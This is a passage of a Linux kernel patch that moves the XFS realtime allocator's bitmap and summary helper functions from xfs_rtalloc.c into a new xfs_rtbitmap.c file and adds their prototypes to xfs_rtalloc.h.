xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer. - */ - b++; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the next one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = *b ^ val)) { - /* - * Different, compute first wrong bit and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *new = start + i; - *stat = 0; - return 0; - } - i += XFS_NBWORD; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the next one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer. - */ - b++; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if ((lastbit = len - i)) { - /* - * Mask of relevant bits. - */ - mask = ((xfs_rtword_t)1 << lastbit) - 1; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ val) & mask)) { - /* - * Different, compute first wrong bit and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *new = start + i; - *stat = 0; - return 0; - } else - i = len; - } - /* - * Successful, return. - */ - xfs_trans_brelse(tp, bp); - *new = start + i; - *stat = 1; - return 0; -} - -/* - * Copy and transform the summary file, given the old and new - * parameters in the mount structures. - */ -STATIC int /* error */ -xfs_rtcopy_summary( - xfs_mount_t *omp, /* old file system mount point */ - xfs_mount_t *nmp, /* new file system mount point */ - xfs_trans_t *tp) /* transaction pointer */ -{ - xfs_rtblock_t bbno; /* bitmap block number */ - xfs_buf_t *bp; /* summary buffer */ - int error; /* error return value */ - int log; /* summary level number (log length) */ - xfs_suminfo_t sum; /* summary data */ - xfs_fsblock_t sumbno; /* summary block number */ - - bp = NULL; - for (log = omp->m_rsumlevels - 1; log >= 0; log--) { - for (bbno = omp->m_sb.sb_rbmblocks - 1; - (xfs_srtblock_t)bbno >= 0; - bbno--) { - error = xfs_rtget_summary(omp, tp, log, bbno, &bp, - &sumbno, &sum); - if (error) - return error; - if (sum == 0) - continue; - error = xfs_rtmodify_summary(omp, tp, log, bbno, -sum, - &bp, &sumbno); - if (error) - return error; - error = xfs_rtmodify_summary(nmp, tp, log, bbno, sum, - &bp, &sumbno); - if (error) - return error; - ASSERT(sum > 0); - } - } - return 0; -} - -/* - * Searching backward from start to limit, find the first block whose - * allocated/free state is different from start's. - */ -STATIC int /* error */ -xfs_rtfind_back( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to look at */ - xfs_rtblock_t limit, /* last block to look at */ - xfs_rtblock_t *rtblock) /* out: start block found */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtblock_t firstbit; /* first useful bit in the word */ - xfs_rtblock_t i; /* current bit number rel. to start */ - xfs_rtblock_t len; /* length of inspected area */ - xfs_rtword_t mask; /* mask of relevant bits for value */ - xfs_rtword_t want; /* mask for "good" values */ - xfs_rtword_t wdiff; /* difference from wanted value */ - int word; /* word number in the buffer */ - - /* - * Compute and read in starting bitmap block for starting block. - */ - block = XFS_BITTOBLOCK(mp, start); - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Get the first word's index & point to it. - */ - word = XFS_BITTOWORD(mp, start); - b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - len = start - limit + 1; - /* - * Compute match value, based on the bit at start: if 1 (free) - * then all-ones, else all-zeroes. - */ - want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; - /* - * If the starting position is not word-aligned, deal with the - * partial word. - */ - if (bit < XFS_NBWORD - 1) { - /* - * Calculate first (leftmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - firstbit = XFS_RTMAX((xfs_srtblock_t)(bit - len + 1), 0); - mask = (((xfs_rtword_t)1 << (bit - firstbit + 1)) - 1) << - firstbit; - /* - * Calculate the difference between the value there - * and what we're looking for. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different. Mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i = bit - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } - i = bit - firstbit + 1; - /* - * Go on to previous block if that's where the previous word is - * and we need the previous word. - */ - if (--word == -1 && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - word = XFS_BLOCKWMASK(mp); - b = &bufp[word]; - } else { - /* - * Go on to the previous word in the buffer. - */ - b--; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the previous one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = *b ^ want)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } - i += XFS_NBWORD; - /* - * Go on to previous block if that's where the previous word is - * and we need the previous word. - */ - if (--word == -1 && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - word = XFS_BLOCKWMASK(mp); - b = &bufp[word]; - } else { - /* - * Go on to the previous word in the buffer. - */ - b--; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if (len - i) { - /* - * Calculate first (leftmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - firstbit = XFS_NBWORD - (len - i); - mask = (((xfs_rtword_t)1 << (len - i)) - 1) << firstbit; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); - *rtblock = start - i + 1; - return 0; - } else - i = len; - } - /* - * No match, return that we scanned the whole area. - */ - xfs_trans_brelse(tp, bp); - *rtblock = start - i + 1; - return 0; -} - -/* - * Searching forward from start to limit, find the first block whose - * allocated/free state is different from start's. - */ -STATIC int /* error */ -xfs_rtfind_forw( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to look at */ - xfs_rtblock_t limit, /* last block to look at */ - xfs_rtblock_t *rtblock) /* out: start block found */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtblock_t i; /* current bit number rel. to start */ - xfs_rtblock_t lastbit; /* last useful bit in the word */ - xfs_rtblock_t len; /* length of inspected area */ - xfs_rtword_t mask; /* mask of relevant bits for value */ - xfs_rtword_t want; /* mask for "good" values */ - xfs_rtword_t wdiff; /* difference from wanted value */ - int word; /* word number in the buffer */ - - /* - * Compute and read in starting bitmap block for starting block. - */ - block = XFS_BITTOBLOCK(mp, start); - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Get the first word's index & point to it. - */ - word = XFS_BITTOWORD(mp, start); - b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - len = limit - start + 1; - /* - * Compute match value, based on the bit at start: if 1 (free) - * then all-ones, else all-zeroes. - */ - want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; - /* - * If the starting position is not word-aligned, deal with the - * partial word. - */ - if (bit) { - /* - * Calculate last (rightmost) bit number to look at, - * and mask for all the relevant bits in this word. - */ - lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); - mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; - /* - * Calculate the difference between the value there - * and what we're looking for. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different. Mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i = XFS_RTLOBIT(wdiff) - bit; - *rtblock = start + i - 1; - return 0; - } - i = lastbit - bit; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the previous one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the previous word in the buffer. - */ - b++; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the next one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = *b ^ want)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *rtblock = start + i - 1; - return 0; - } - i += XFS_NBWORD; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the next one. - */ - xfs_trans_brelse(tp, bp); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); - if (error) { - return error; - } - b = bufp = bp->b_addr; - word = 0; - } else { - /* - * Go on to the next word in the buffer. - */ - b++; - } - } - /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if ((lastbit = len - i)) { - /* - * Calculate mask for all the relevant bits in this word. - */ - mask = ((xfs_rtword_t)1 << lastbit) - 1; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ want) & mask)) { - /* - * Different, mark where we are and return. - */ - xfs_trans_brelse(tp, bp); - i += XFS_RTLOBIT(wdiff); - *rtblock = start + i - 1; - return 0; - } else - i = len; - } - /* - * No match, return that we scanned the whole area. - */ - xfs_trans_brelse(tp, bp); - *rtblock = start + i - 1; - return 0; -} - -/* - * Mark an extent specified by start and len freed. - * Updates all the summary information as well as the bitmap. - */ -STATIC int /* error */ -xfs_rtfree_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to free */ - xfs_extlen_t len, /* length to free */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb) /* in/out: summary block number */ -{ - xfs_rtblock_t end; /* end of the freed extent */ - int error; /* error value */ - xfs_rtblock_t postblock; /* first block freed > end */ - xfs_rtblock_t preblock; /* first block freed < start */ - - end = start + len - 1; - /* - * Modify the bitmap to mark this extent freed. - */ - error = xfs_rtmodify_range(mp, tp, start, len, 1); - if (error) { - return error; - } - /* - * Assume we're freeing out of the middle of an allocated extent. - * We need to find the beginning and end of the extent so we can - * properly update the summary. - */ - error = xfs_rtfind_back(mp, tp, start, 0, &preblock); - if (error) { - return error; - } - /* - * Find the next allocated block (end of allocated extent). - */ - error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, - &postblock); - if (error) - return error; - /* - * If there are blocks not being freed at the front of the - * old extent, add summary data for them to be allocated. - */ - if (preblock < start) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(start - preblock), - XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * If there are blocks not being freed at the end of the - * old extent, add summary data for them to be allocated. - */ - if (postblock > end) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock - end), - XFS_BITTOBLOCK(mp, end + 1), -1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * Increment the summary information corresponding to the entire - * (new) free extent. - */ - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock + 1 - preblock), - XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); - return error; -} - -/* - * Read and return the summary information for a given extent size, - * bitmap block combination. - * Keeps track of a current summary block, so we don't keep reading - * it from the buffer cache. - */ -STATIC int /* error */ -xfs_rtget_summary( - xfs_mount_t *mp, /* file system mount structure */ - xfs_trans_t *tp, /* transaction pointer */ - int log, /* log2 of extent size */ - xfs_rtblock_t bbno, /* bitmap block number */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb, /* in/out: summary block number */ - xfs_suminfo_t *sum) /* out: summary info for this block */ -{ - xfs_buf_t *bp; /* buffer for summary block */ - int error; /* error value */ - xfs_fsblock_t sb; /* summary fsblock */ - int so; /* index into the summary file */ - xfs_suminfo_t *sp; /* pointer to returned data */ - - /* - * Compute entry number in the summary file. - */ - so = XFS_SUMOFFS(mp, log, bbno); - /* - * Compute the block number in the summary file. - */ - sb = XFS_SUMOFFSTOBLOCK(mp, so); - /* - * If we have an old buffer, and the block number matches, use that. - */ - if (rbpp && *rbpp && *rsb == sb) - bp = *rbpp; - /* - * Otherwise we have to get the buffer. - */ - else { - /* - * If there was an old one, get rid of it first. - */ - if (rbpp && *rbpp) - xfs_trans_brelse(tp, *rbpp); - error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); - if (error) { - return error; - } - /* - * Remember this buffer and block for the next call. - */ - if (rbpp) { - *rbpp = bp; - *rsb = sb; - } - } - /* - * Point to the summary information & copy it out. - */ - sp = XFS_SUMPTR(mp, bp, so); - *sum = *sp; - /* - * Drop the buffer if we're not asked to remember it. - */ - if (!rbpp) - xfs_trans_brelse(tp, bp); - return 0; -} - -/* - * Set the given range of bitmap bits to the given value. - * Do whatever I/O and logging is required. - */ -STATIC int /* error */ -xfs_rtmodify_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block to modify */ - xfs_extlen_t len, /* length of extent to modify */ - int val) /* 1 for free, 0 for allocated */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtword_t *first; /* first used word in the buffer */ - int i; /* current bit number rel. to start */ - int lastbit; /* last useful bit in word */ - xfs_rtword_t mask; /* mask o frelevant bits for value */ - int word; /* word number in the buffer */ - - /* - * Compute starting bitmap block number. - */ - block = XFS_BITTOBLOCK(mp, start); - /* - * Read the bitmap block, and point to its data. - */ - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; + return 0; + } + /* + * If the "next block to try" returned from the + * allocator is beyond the next bitmap block, + * skip to that bitmap block. + */ + if (XFS_BITTOBLOCK(mp, n) > i + 1) + i = XFS_BITTOBLOCK(mp, n) - 1; + } } - bufp = bp->b_addr; - /* - * Compute the starting word's address, and starting bit. - */ - word = XFS_BITTOWORD(mp, start); - first = b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); /* - * 0 (allocated) => all zeroes; 1 (free) => all ones. + * Didn't find any maxlen blocks. Try smaller ones, unless + * we're asking for a fixed size extent. */ - val = -val; + if (minlen > --maxlen) { + *rtblock = NULLRTBLOCK; + return 0; + } + ASSERT(minlen != 0); + ASSERT(maxlen != 0); + /* - * If not starting on a word boundary, deal with the first - * (partial) word. + * Loop over sizes, from maxlen down to minlen. + * This time, when we do the allocations, allow smaller ones + * to succeed. */ - if (bit) { - /* - * Compute first bit not changed and mask of relevant bits. - */ - lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); - mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; - /* - * Set/clear the active bits. - */ - if (val) - *b |= mask; - else - *b &= ~mask; - i = lastbit - bit; + for (l = xfs_highbit32(maxlen); l >= xfs_highbit32(minlen); l--) { /* - * Go on to the next block if that's where the next word is - * and we need the next word. + * Loop over all the bitmap blocks, try an allocation + * starting in that block. */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + for (i = 0; i < mp->m_sb.sb_rbmblocks; i++) { /* - * Log the changed part of this block. - * Get the next one. + * Get the summary information for this level/block. */ - xfs_trans_log_buf(tp, bp, - (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp)); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + error = xfs_rtget_summary(mp, tp, l, i, rbpp, rsb, + &sum); if (error) { return error; } - first = b = bufp = bp->b_addr; - word = 0; - } else { /* - * Go on to the next word in the buffer + * If nothing there, go on to next. */ - b++; - } - } else { - /* - * Starting on a word boundary, no partial word. - */ - i = 0; - } - /* - * Loop over whole words in buffers. When we use up one buffer - * we move on to the next one. - */ - while (len - i >= XFS_NBWORD) { - /* - * Set the word value correctly. - */ - *b = val; - i += XFS_NBWORD; - /* - * Go on to the next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + if (!sum) + continue; /* - * Log the changed part of this block. - * Get the next one. + * Try the allocation. Make sure the specified + * minlen/maxlen are in the possible range for + * this summary level. */ - xfs_trans_log_buf(tp, bp, - (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp)); - error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + error = xfs_rtallocate_extent_block(mp, tp, i, + XFS_RTMAX(minlen, 1 << l), + XFS_RTMIN(maxlen, (1 << (l + 1)) - 1), + len, &n, rbpp, rsb, prod, &r); if (error) { return error; } - first = b = bufp = bp->b_addr; - word = 0; - } else { /* - * Go on to the next word in the buffer + * If it worked, return that extent. + */ + if (r != NULLRTBLOCK) { + *rtblock = r; + return 0; + } + /* + * If the "next block to try" returned from the + * allocator is beyond the next bitmap block, + * skip to that bitmap block. */ - b++; + if (XFS_BITTOBLOCK(mp, n) > i + 1) + i = XFS_BITTOBLOCK(mp, n) - 1; } } /* - * If not ending on a word boundary, deal with the last - * (partial) word. - */ - if ((lastbit = len - i)) { - /* - * Compute a mask of relevant bits. - */ - bit = 0; - mask = ((xfs_rtword_t)1 << lastbit) - 1; - /* - * Set/clear the active bits. - */ - if (val) - *b |= mask; - else - *b &= ~mask; - b++; - } - /* - * Log any remaining changed bytes. + * Got nothing, return failure. */ - if (b > first) - xfs_trans_log_buf(tp, bp, (uint)((char *)first - (char *)bufp), - (uint)((char *)b - (char *)bufp - 1)); + *rtblock = NULLRTBLOCK; return 0; } /* - * Read and modify the summary information for a given extent size, - * bitmap block combination. - * Keeps track of a current summary block, so we don't keep reading - * it from the buffer cache. + * Allocate space to the bitmap or summary file, and zero it, for growfs. */ STATIC int /* error */ -xfs_rtmodify_summary( +xfs_growfs_rt_alloc( xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - int log, /* log2 of extent size */ - xfs_rtblock_t bbno, /* bitmap block number */ - int delta, /* change to make to summary info */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb) /* in/out: summary block number */ + xfs_extlen_t oblocks, /* old count of blocks */ + xfs_extlen_t nblocks, /* new count of blocks */ + xfs_inode_t *ip) /* inode (bitmap/summary) */ { - xfs_buf_t *bp; /* buffer for the summary block */ - int error; /* error value */ - xfs_fsblock_t sb; /* summary fsblock */ - int so; /* index into the summary file */ - xfs_suminfo_t *sp; /* pointer to returned data */ + xfs_fileoff_t bno; /* block number in file */ + xfs_buf_t *bp; /* temporary buffer for zeroing */ + int committed; /* transaction committed flag */ + xfs_daddr_t d; /* disk block address */ + int error; /* error return value */ + xfs_fsblock_t firstblock; /* first block allocated in xaction */ + xfs_bmap_free_t flist; /* list of freed blocks */ + xfs_fsblock_t fsbno; /* filesystem block for bno */ + xfs_bmbt_irec_t map; /* block map output */ + int nmap; /* number of block maps */ + int resblks; /* space reservation */ /* - * Compute entry number in the summary file. - */ - so = XFS_SUMOFFS(mp, log, bbno); - /* - * Compute the block number in the summary file. - */ - sb = XFS_SUMOFFSTOBLOCK(mp, so); - /* - * If we have an old buffer, and the block number matches, use that. - */ - if (rbpp && *rbpp && *rsb == sb) - bp = *rbpp; - /* - * Otherwise we have to get the buffer. + * Allocate space to the file, as necessary. */ - else { + while (oblocks < nblocks) { + int cancelflags = 0; + xfs_trans_t *tp; + + tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFSRT_ALLOC); + resblks = XFS_GROWFSRT_SPACE_RES(mp, nblocks - oblocks); /* - * If there was an old one, get rid of it first. + * Reserve space & log for one extent added to the file. */ - if (rbpp && *rbpp) - xfs_trans_brelse(tp, *rbpp); - error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); - if (error) { - return error; - } + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, + resblks, 0); + if (error) + goto error_cancel; + cancelflags = XFS_TRANS_RELEASE_LOG_RES; /* - * Remember this buffer and block for the next call. + * Lock the inode. */ - if (rbpp) { - *rbpp = bp; - *rsb = sb; + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + xfs_bmap_init(&flist, &firstblock); + /* + * Allocate blocks to the bitmap file. + */ + nmap = 1; + cancelflags |= XFS_TRANS_ABORT; + error = xfs_bmapi_write(tp, ip, oblocks, nblocks - oblocks, + XFS_BMAPI_METADATA, &firstblock, + resblks, &map, &nmap, &flist); + if (!error && nmap < 1) + error = XFS_ERROR(ENOSPC); + if (error) + goto error_cancel; + /* + * Free any blocks freed up in the transaction, then commit. + */ + error = xfs_bmap_finish(&tp, &flist, &committed); + if (error) + goto error_cancel; + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto error; + /* + * Now we need to clear the allocated blocks. + * Do this one block per transaction, to keep it simple. + */ + cancelflags = 0; + for (bno = map.br_startoff, fsbno = map.br_startblock; + bno < map.br_startoff + map.br_blockcount; + bno++, fsbno++) { + tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFSRT_ZERO); + /* + * Reserve log for one block zeroing. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtzero, + 0, 0); + if (error) + goto error_cancel; + /* + * Lock the bitmap inode. + */ + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + /* + * Get a buffer for the block. + */ + d = XFS_FSB_TO_DADDR(mp, fsbno); + bp = xfs_trans_get_buf(tp, mp->m_ddev_targp, d, + mp->m_bsize, 0); + if (bp == NULL) { + error = XFS_ERROR(EIO); +error_cancel: + xfs_trans_cancel(tp, cancelflags); + goto error; + } + memset(bp->b_addr, 0, mp->m_sb.sb_blocksize); + xfs_trans_log_buf(tp, bp, 0, mp->m_sb.sb_blocksize - 1); + /* + * Commit the transaction. + */ + error = xfs_trans_commit(tp, 0); + if (error) + goto error; } + /* + * Go on to the next extent, if any. + */ + oblocks = map.br_startoff + map.br_blockcount; } - /* - * Point to the summary information, modify and log it. - */ - sp = XFS_SUMPTR(mp, bp, so); - *sp += delta; - xfs_trans_log_buf(tp, bp, (uint)((char *)sp - (char *)bp->b_addr), - (uint)((char *)sp - (char *)bp->b_addr + sizeof(*sp) - 1)); return 0; + +error: + return error; } /* @@ -2128,66 +1231,6 @@ xfs_rtallocate_extent( } /* - * Free an extent in the realtime subvolume. Length is expressed in - * realtime extents, as is the block number. - */ -int /* error */ -xfs_rtfree_extent( - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to free */ - xfs_extlen_t len) /* length of extent freed */ -{ - int error; /* error value */ - xfs_mount_t *mp; /* file system mount structure */ - xfs_fsblock_t sb; /* summary file block number */ - xfs_buf_t *sumbp; /* summary file block buffer */ - - mp = tp->t_mountp; - - ASSERT(mp->m_rbmip->i_itemp != NULL); - ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); - -#ifdef DEBUG - /* - * Check to see that this whole range is currently allocated. - */ - { - int stat; /* result from checking range */ - - error = xfs_rtcheck_alloc_range(mp, tp, bno, len, &stat); - if (error) { - return error; - } - ASSERT(stat); - } -#endif - sumbp = NULL; - /* - * Free the range of realtime blocks. - */ - error = xfs_rtfree_range(mp, tp, bno, len, &sumbp, &sb); - if (error) { - return error; - } - /* - * Mark more blocks free in the superblock. - */ - xfs_trans_mod_sb(tp, XFS_TRANS_SB_FREXTENTS, (long)len); - /* - * If we've now freed all the blocks, reset the file sequence - * number to 0. - */ - if (tp->t_frextents_delta + mp->m_sb.sb_frextents == - mp->m_sb.sb_rextents) { - if (!(mp->m_rbmip->i_d.di_flags & XFS_DIFLAG_NEWRTBM)) - mp->m_rbmip->i_d.di_flags |= XFS_DIFLAG_NEWRTBM; - *(__uint64_t *)&mp->m_rbmip->i_d.di_atime = 0; - xfs_trans_log_inode(tp, mp->m_rbmip, XFS_ILOG_CORE); - } - return 0; -} - -/* * Initialize realtime fields in the mount structure. */ int /* error */ diff --git a/fs/xfs/xfs_rtalloc.h b/fs/xfs/xfs_rtalloc.h index b2a1a24..752b63d 100644 --- a/fs/xfs/xfs_rtalloc.h +++ b/fs/xfs/xfs_rtalloc.h @@ -95,6 +95,30 @@ xfs_growfs_rt( struct xfs_mount *mp, /* file system mount structure */ xfs_growfs_rt_t *in); /* user supplied growfs struct */ +/* + * From xfs_rtbitmap.c + */ +int xfs_rtbuf_get(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t block, int issum, struct xfs_buf **bpp); +int xfs_rtcheck_range(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t start, xfs_extlen_t len, int val, + xfs_rtblock_t *new, int *stat); +int xfs_rtfind_back(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t start, xfs_rtblock_t limit, + xfs_rtblock_t *rtblock); +int xfs_rtfind_forw(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t start, xfs_rtblock_t limit, + xfs_rtblock_t *rtblock); +int xfs_rtmodify_range(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t start, xfs_extlen_t len, int val); +int xfs_rtmodify_summary(struct xfs_mount *mp, struct xfs_trans *tp, int log, + xfs_rtblock_t bbno, int delta, xfs_buf_t **rbpp, + xfs_fsblock_t *rsb); +int xfs_rtfree_range(struct xfs_mount *mp, struct xfs_trans *tp, + xfs_rtblock_t start, xfs_extlen_t len, + struct xfs_buf **rbpp, xfs_fsblock_t *rsb); + + #else # define xfs_rtallocate_extent(t,b,min,max,l,a,f,p,rb) (ENOSYS) # define xfs_rtfree_extent(t,b,l) (ENOSYS) diff --git a/fs/xfs/xfs_rtbitmap.c b/fs/xfs/xfs_rtbitmap.c new file mode 100644 index 0000000..4c0c86c --- /dev/null +++ b/fs/xfs/xfs_rtbitmap.c @@ -0,0 +1,973 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_bit.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_inode.h" +#include "xfs_bmap.h" +#include "xfs_bmap_util.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc.h" +#include "xfs_error.h" +#include "xfs_trans.h" +#include "xfs_trans_space.h" +#include "xfs_trace.h" +#include "xfs_buf.h" +#include "xfs_icache.h" +#include "xfs_dinode.h" + + +/* + * Realtime allocator bitmap functions shared with userspace. + */ + +/* + * Get a buffer for the bitmap or summary file block specified. + * The buffer is returned read and locked. + */ +int +xfs_rtbuf_get( + xfs_mount_t *mp, /* file system mount structure */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t block, /* block number in bitmap or summary */ + int issum, /* is summary not bitmap */ + xfs_buf_t **bpp) /* output: buffer for the block */ +{ + xfs_buf_t *bp; /* block buffer, result */ + xfs_inode_t *ip; /* bitmap or summary inode */ + xfs_bmbt_irec_t map; + int nmap = 1; + int error; /* error value */ + + ip = issum ? mp->m_rsumip : mp->m_rbmip; + + error = xfs_bmapi_read(ip, block, 1, &map, &nmap, XFS_DATA_FORK); + if (error) + return error; + + ASSERT(map.br_startblock != NULLFSBLOCK); + error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, + XFS_FSB_TO_DADDR(mp, map.br_startblock), + mp->m_bsize, 0, &bp, NULL); + if (error) + return error; + ASSERT(!xfs_buf_geterror(bp)); + *bpp = bp; + return 0; +} + +/* + * Searching backward from start to limit, find the first block whose + * allocated/free state is different from start's. + */ +int +xfs_rtfind_back( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to look at */ + 